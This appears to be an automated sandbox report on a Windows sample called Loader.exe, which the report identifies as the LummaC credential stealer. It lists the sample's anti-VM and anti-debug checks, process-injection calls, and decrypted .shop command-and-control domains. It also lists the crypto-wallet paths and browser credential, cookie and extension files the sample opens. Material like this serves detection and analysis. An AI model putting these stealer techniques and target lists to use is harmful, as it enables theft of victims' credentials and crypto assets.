Source: Loader.exe, 00000003.00000003.2353227159.00000000054DA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338679196.0000000005447000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2352908808.0000000005443000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\Loader.exe

File read: C:\Users\user\Desktop\Loader.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Loader.exe "C:\Users\user\Desktop\Loader.exe"
Source: C:\Users\user\Desktop\Loader.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Loader.exe	Process created: C:\Users\user\Desktop\Loader.exe "C:\Users\user\Desktop\Loader.exe"
Source: C:\Users\user\Desktop\Loader.exe	Process created: C:\Users\user\Desktop\Loader.exe "C:\Users\user\Desktop\Loader.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00329D6A push ecx; ret	0_2_00329D7D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00329D6A push ecx; ret	3_2_00329D7D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00449A37 push edx; iretd	3_2_00449A39
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00447BC3 push esp; retf	3_2_00447BD9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0043D490 push eax; mov dword ptr [esp], 010E0F0Ch	3_2_0043D49F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00440630 push eax; mov dword ptr [esp], 6C6F6EA1h	3_2_00440632
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00449701 pushfd ; iretd	3_2_00449702
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004467BC push 00000051h; ret	3_2_0044686F

Source: C:\Users\user\Desktop\Loader.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Loader.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Loader.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Window / User API: threadDelayed 5180

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe TID: 1644	Thread sleep time: -210000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe TID: 5548	Thread sleep count: 5180 > 30			Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\Loader.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\Loader.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0033B6A8 FindFirstFileExW,	0_2_0033B6A8
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0033B759 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_0033B759
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0033B6A8 FindFirstFileExW,	3_2_0033B6A8
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0033B759 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_0033B759

Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Loader.exe, 00000003.00000002.3277147132.0000000002CAC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPR
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: Loader.exe, 00000003.00000003.2352220187.00000000054DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Loader.exe, 00000003.00000003.2638595862.0000000002CDE000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2375179400.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2352050415.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.3047305155.0000000002CE0000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2390068678.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338745992.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2415892522.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2375611870.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.3047406602.0000000002CE8000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000002.3277232478.0000000002CE9000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2336916157.0000000002CDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Loader.exe, 00000003.00000003.2352220187.00000000054DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Loader.exe, 00000003.00000003.2352220187.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\Loader.exe

API call chain: ExitProcess graph end node

graph_3-31924

Source: C:\Users\user\Desktop\Loader.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Code function: 3_2_0043EEC0 LdrInitializeThunk,

3_2_0043EEC0

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_00329A33 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00329A33

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0035019E mov edi, dword ptr fs:[00000030h]	0_2_0035019E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00321BA0 mov edi, dword ptr fs:[00000030h]	0_2_00321BA0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00321BA0 mov edi, dword ptr fs:[00000030h]	3_2_00321BA0

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_00336FE0 GetProcessHeap,

0_2_00336FE0

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00329A33 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00329A33
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00331A20 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00331A20
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00329A27 SetUnhandledExceptionFilter,	0_2_00329A27
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00329673 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00329673
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00329A33 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00329A33
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00331A20 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00331A20
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00329A27 SetUnhandledExceptionFilter,	3_2_00329A27
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00329673 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00329673

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_0035019E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_0035019E

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Loader.exe

Memory written: C:\Users\user\Desktop\Loader.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: Loader.exe, 00000000.00000002.2038611351.0000000002C0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: cloudewahsj.shop
Source: Loader.exe, 00000000.00000002.2038611351.0000000002C0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rabidcowse.shop
Source: Loader.exe, 00000000.00000002.2038611351.0000000002C0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: noisycuttej.shop
Source: Loader.exe, 00000000.00000002.2038611351.0000000002C0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: tirepublicerj.shop
Source: Loader.exe, 00000000.00000002.2038611351.0000000002C0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: framekgirus.shop
Source: Loader.exe, 00000000.00000002.2038611351.0000000002C0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wholersorie.shop
Source: Loader.exe, 00000000.00000002.2038611351.0000000002C0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: abruptyopsn.shop
Source: Loader.exe, 00000000.00000002.2038611351.0000000002C0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: nearycrepso.shop
Source: Loader.exe, 00000000.00000002.2038611351.0000000002C0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: fancywaxxers.shop

Source: C:\Users\user\Desktop\Loader.exe

Process created: C:\Users\user\Desktop\Loader.exe "C:\Users\user\Desktop\Loader.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	0_2_003368BD
Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	0_2_0033B085
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	0_2_0033B0D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_0033B177
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_0033A9F7
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	0_2_0033B27D
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	0_2_003363B5
Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	0_2_0033AC48
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_0033ACF0
Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	0_2_0033AF43
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	0_2_0033AFB0
Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	3_2_003368BD
Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	3_2_0033B085
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	3_2_0033B0D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_0033B177
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	3_2_0033A9F7
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	3_2_0033B27D
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	3_2_003363B5
Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	3_2_0033AC48
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	3_2_0033ACF0
Source: C:\Users\user\Desktop\Loader.exe	Code function: EnumSystemLocalesW,	3_2_0033AF43
Source: C:\Users\user\Desktop\Loader.exe	Code function: GetLocaleInfoW,	3_2_0033AFB0

Source: C:\Users\user\Desktop\Loader.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_0032A2F5 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_0032A2F5

Source: C:\Users\user\Desktop\Loader.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Loader.exe, 00000003.00000003.2415851140.0000000002D55000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2415892522.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2416587052.0000000002D55000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Loader.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Loader.exe PID: 6472, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Loader.exe, 00000003.00000003.2638595862.0000000002CDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: Loader.exe, 00000003.00000003.2638595862.0000000002CDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: Loader.exe, 00000003.00000003.2638595862.0000000002CDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Loader.exe, 00000003.00000003.2375179400.0000000002D55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx LibertyimeUy[
Source: Loader.exe, 00000003.00000003.2338745992.0000000002D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Loader.exe, 00000003.00000003.2638595862.0000000002CDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: Loader.exe, 00000003.00000003.2638595862.0000000002CDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: Loader.exe, 00000003.00000003.2338745992.0000000002D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: erations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"]
Source: Loader.exe, 00000003.00000003.2352050415.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
